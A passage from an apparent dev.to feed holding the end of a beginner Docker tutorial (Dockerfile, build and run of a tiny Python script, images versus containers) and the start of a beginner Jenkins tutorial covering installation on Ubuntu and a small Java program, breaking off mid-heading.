&lt;li&gt;The difference between an image and a container&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Docker?
&lt;/h2&gt;

&lt;p&gt;One common problem in software development is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"It works on my machine."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;An application may work perfectly on a developer's computer but fail on another machine because of missing libraries, different operating systems, or incompatible software versions.&lt;/p&gt;

&lt;p&gt;Docker solves this problem by packaging:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application code&lt;/li&gt;
&lt;li&gt;Runtime&lt;/li&gt;
&lt;li&gt;Libraries&lt;/li&gt;
&lt;li&gt;Dependencies&lt;/li&gt;
&lt;li&gt;Configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;into a single portable unit called a container.&lt;/p&gt;

&lt;p&gt;As long as Docker is installed, the application can run consistently across environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Docker in Simple Terms
&lt;/h2&gt;

&lt;p&gt;A useful analogy is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Docker Image  = Blueprint
Docker Container = House Built From The Blueprint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An image is a template.&lt;/p&gt;

&lt;p&gt;A container is a running instance created from that image.&lt;/p&gt;

&lt;p&gt;You can create multiple containers from the same image.&lt;/p&gt;




&lt;h2&gt;
  
  
  Installing Docker on Ubuntu
&lt;/h2&gt;

&lt;p&gt;Update package information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install Docker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker.io
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker run hello-world
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see a welcome message from Docker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Running Docker Without sudo
&lt;/h2&gt;

&lt;p&gt;Add your user to the Docker group:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; docker &lt;span class="nv"&gt;$USER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log out and log back in.&lt;/p&gt;

&lt;p&gt;Now Docker commands can be executed without &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Environment
&lt;/h2&gt;

&lt;p&gt;The following environment was used:&lt;/p&gt;

&lt;p&gt;Ubuntu 24.04 LTS&lt;br&gt;
Docker 29.1.3&lt;br&gt;
Python 3.x&lt;/p&gt;
&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;docker-python-app/&lt;br&gt;
│&lt;br&gt;
├── test.py&lt;br&gt;
└── Dockerfile&lt;/p&gt;
&lt;h2&gt;
  
  
  Our Tiny Python Application
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;This is a test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normally, the script can be executed using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we'll run the same application inside a Docker container.&lt;/p&gt;




&lt;h2&gt;
  
  
  Creating a Dockerfile
&lt;/h2&gt;

&lt;p&gt;Create a file named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dockerfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; ubuntu:latest&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /docker-apps&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./test.py .&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class="nb"&gt;install &lt;/span&gt;python3 &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["python3", "./test.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docker builds images layer by layer by processing each instruction in the Dockerfile from top to bottom.&lt;/p&gt;

&lt;p&gt;Let's understand each instruction.&lt;/p&gt;

&lt;h3&gt;
  
  
  FROM
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; ubuntu:latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uses Ubuntu as the base image.&lt;/p&gt;

&lt;h3&gt;
  
  
  WORKDIR
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /docker-apps&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sets the working directory inside the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  COPY
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./test.py .&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copies the Python script into the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  RUN
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;RUN &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class="nb"&gt;install &lt;/span&gt;python3 &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Installs Python inside the image.&lt;/p&gt;

&lt;h3&gt;
  
  
  CMD
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["python3", "./test.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Specifies the command executed when the container starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Building the Docker Image
&lt;/h2&gt;

&lt;p&gt;Build the image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker build &lt;span class="nt"&gt;-t&lt;/span&gt; ubuntu-python &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docker reads the Dockerfile and creates an image named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the newly created image.&lt;/p&gt;




&lt;h2&gt;
  
  
  Running the Container
&lt;/h2&gt;

&lt;p&gt;Create and start a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; test-container ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;View container logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker logs test-container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This is a test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Congratulations! You have successfully executed a Python application inside a Docker container.&lt;/p&gt;

&lt;p&gt;Screenshot&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r898i0u1gml3ha7tbj5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r898i0u1gml3ha7tbj5.jpg" alt=" " width="799" height="276"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Docker Workflow
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test.py
      ↓
Dockerfile
      ↓
docker build
      ↓
Docker Image
      ↓
docker run
      ↓
Docker Container
      ↓
This is a test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This same workflow is used for much larger applications.&lt;/p&gt;


&lt;h2&gt;
  
  
  Image vs Container
&lt;/h2&gt;

&lt;p&gt;One of the most important Docker concepts is understanding the difference between an image and a container.&lt;/p&gt;
&lt;h3&gt;
  
  
  Image
&lt;/h3&gt;

&lt;p&gt;An image is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read-only&lt;/li&gt;
&lt;li&gt;A template&lt;/li&gt;
&lt;li&gt;Used to create containers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Container
&lt;/h3&gt;

&lt;p&gt;A container is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Running or stopped&lt;/li&gt;
&lt;li&gt;Created from an image&lt;/li&gt;
&lt;li&gt;The actual execution environment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test-container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single image can create many containers.&lt;/p&gt;




&lt;h2&gt;
  
  
  Useful Docker Commands
&lt;/h2&gt;

&lt;p&gt;Stop a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker stop &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;rm&lt;/span&gt; &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Force remove a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove all stopped containers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker container prune
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List images:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List containers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Most Important Lesson
&lt;/h2&gt;

&lt;p&gt;One of the biggest misconceptions among beginners is that Docker is a virtual machine.&lt;/p&gt;

&lt;p&gt;It is not.&lt;/p&gt;

&lt;p&gt;Containers share the host operating system kernel, making them much lighter and faster than traditional virtual machines.&lt;/p&gt;

&lt;p&gt;Docker packages applications and their dependencies in a portable and isolated way without requiring a full guest operating system.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is one of the key concepts in containerization.&lt;/p&gt;




&lt;p&gt;💡 Key Takeaway&lt;br&gt;
Docker does not replace your application.&lt;/p&gt;

&lt;p&gt;Docker packages your application together with its runtime and dependencies so it can run consistently across different environments.&lt;/p&gt;

&lt;p&gt;Understanding the difference between an image and a container is one of the most important Docker concepts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Future Enhancements
&lt;/h2&gt;

&lt;p&gt;Once comfortable with this example, you can explore:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Docker volumes&lt;/li&gt;
&lt;li&gt;Docker networking&lt;/li&gt;
&lt;li&gt;Docker Compose&lt;/li&gt;
&lt;li&gt;Multi-container applications&lt;/li&gt;
&lt;li&gt;Docker Hub&lt;/li&gt;
&lt;li&gt;Jenkins + Docker integration&lt;/li&gt;
&lt;li&gt;Kubernetes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The concepts learned in this article form the foundation for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Docker can seem intimidating when first encountered through large production deployments.&lt;/p&gt;

&lt;p&gt;Starting with a tiny application makes the learning process much easier.&lt;/p&gt;

&lt;p&gt;A simple Python script is enough to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Images&lt;/li&gt;
&lt;li&gt;Containers&lt;/li&gt;
&lt;li&gt;Dockerfiles&lt;/li&gt;
&lt;li&gt;Build process&lt;/li&gt;
&lt;li&gt;Container execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once these fundamentals become clear, moving toward real-world containerized applications becomes much more natural.&lt;/p&gt;

&lt;p&gt;If you're new to Docker, try building this example yourself before moving on to Docker Compose, Kubernetes, or cloud deployments. The concepts learned here will transfer directly to larger containerized systems.&lt;/p&gt;

</description>
      <category>docker</category>
      <category>devops</category>
      <category>python</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Understanding Jenkins CI/CD Using a Tiny Java Project (A Beginner-Friendly Walkthrough)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Mon, 01 Jun 2026 04:13:19 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-jenkins-cicd-using-a-tiny-java-project-a-beginner-friendly-walkthrough-6co</link>
      <guid>https://dev.to/sanjayghosh/understanding-jenkins-cicd-using-a-tiny-java-project-a-beginner-friendly-walkthrough-6co</guid>
      <description>&lt;h2&gt;
  
  
  Understanding Jenkins CI/CD Using a Tiny Java Project
&lt;/h2&gt;

&lt;p&gt;Most Jenkins tutorials immediately jump into Docker, Kubernetes, Maven, cloud deployments, and enterprise-scale architectures.&lt;/p&gt;

&lt;p&gt;For someone learning CI/CD for the first time, that can become overwhelming very quickly.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a very lightweight but real Jenkins pipeline using a simple Java application. The goal is to understand how Jenkins works behind the scenes before introducing more advanced DevOps tools.&lt;/p&gt;

&lt;p&gt;This example demonstrates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pipeline stages&lt;/li&gt;
&lt;li&gt;Compilation&lt;/li&gt;
&lt;li&gt;Program execution&lt;/li&gt;
&lt;li&gt;Artifact generation&lt;/li&gt;
&lt;li&gt;Artifact archiving&lt;/li&gt;
&lt;li&gt;Jenkins workspace concepts&lt;/li&gt;
&lt;li&gt;Console output debugging&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;without introducing unnecessary complexity.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Example?
&lt;/h2&gt;

&lt;p&gt;Whether you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Java application&lt;/li&gt;
&lt;li&gt;A Spring Boot service&lt;/li&gt;
&lt;li&gt;A Docker image&lt;/li&gt;
&lt;li&gt;A Kubernetes deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;the fundamental Jenkins workflow remains largely the same:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Source Code
    ↓
Build
    ↓
Test
    ↓
Package
    ↓
Deploy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Understanding this flow first makes learning advanced CI/CD concepts much easier.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjllzs3qj4yxmbfx6vztl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjllzs3qj4yxmbfx6vztl.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;br&gt;
Figure 1: Simplified Jenkins CI/CD flow used throughout this tutorial.&lt;/p&gt;
&lt;h2&gt;
  
  
  Environment
&lt;/h2&gt;

&lt;p&gt;The following environment was used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Ubuntu 24.04 LTS
OpenJDK 17
Git
Jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Jenkins Installation
&lt;/h2&gt;

&lt;p&gt;Before creating Jenkins pipelines, Jenkins must be installed on the system.&lt;/p&gt;

&lt;p&gt;Since Jenkins runs on Java, Java must be installed first.&lt;/p&gt;

&lt;h3&gt;
  
  
  Update Package Information
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify Java Installation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If Java is not installed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;openjdk-17-jdk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify Java again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Add Jenkins Repository Key
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
/usr/share/keyrings/jenkins-keyring.asc &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Add Jenkins Repository
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;deb &lt;span class="o"&gt;[&lt;/span&gt;signed-by&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/keyrings/jenkins-keyring.asc] &lt;span class="se"&gt;\&lt;/span&gt;
https://pkg.jenkins.io/debian-stable binary/ | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
/etc/apt/sources.list.d/jenkins.list &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Update Package Information Again
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Install Jenkins
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Start Jenkins Service
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enable Jenkins at Startup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify Jenkins Status
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Open Jenkins in Browser
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During the first login, Jenkins requests an administrator password.&lt;/p&gt;

&lt;p&gt;Retrieve it using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /var/lib/jenkins/secrets/initialAdminPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copy the password and complete the Jenkins setup wizard.&lt;/p&gt;




&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;The project is intentionally very small.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;calculator-app/
│
├── src/
│   └── Main.java
│
└── Jenkinsfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Java Application
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/Main.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Main&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Sum = "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although the application is tiny, it exercises the same Jenkins concepts used in larger CI/CD pipelines.&lt;/p&gt;




&lt;h2&gt;
  
  
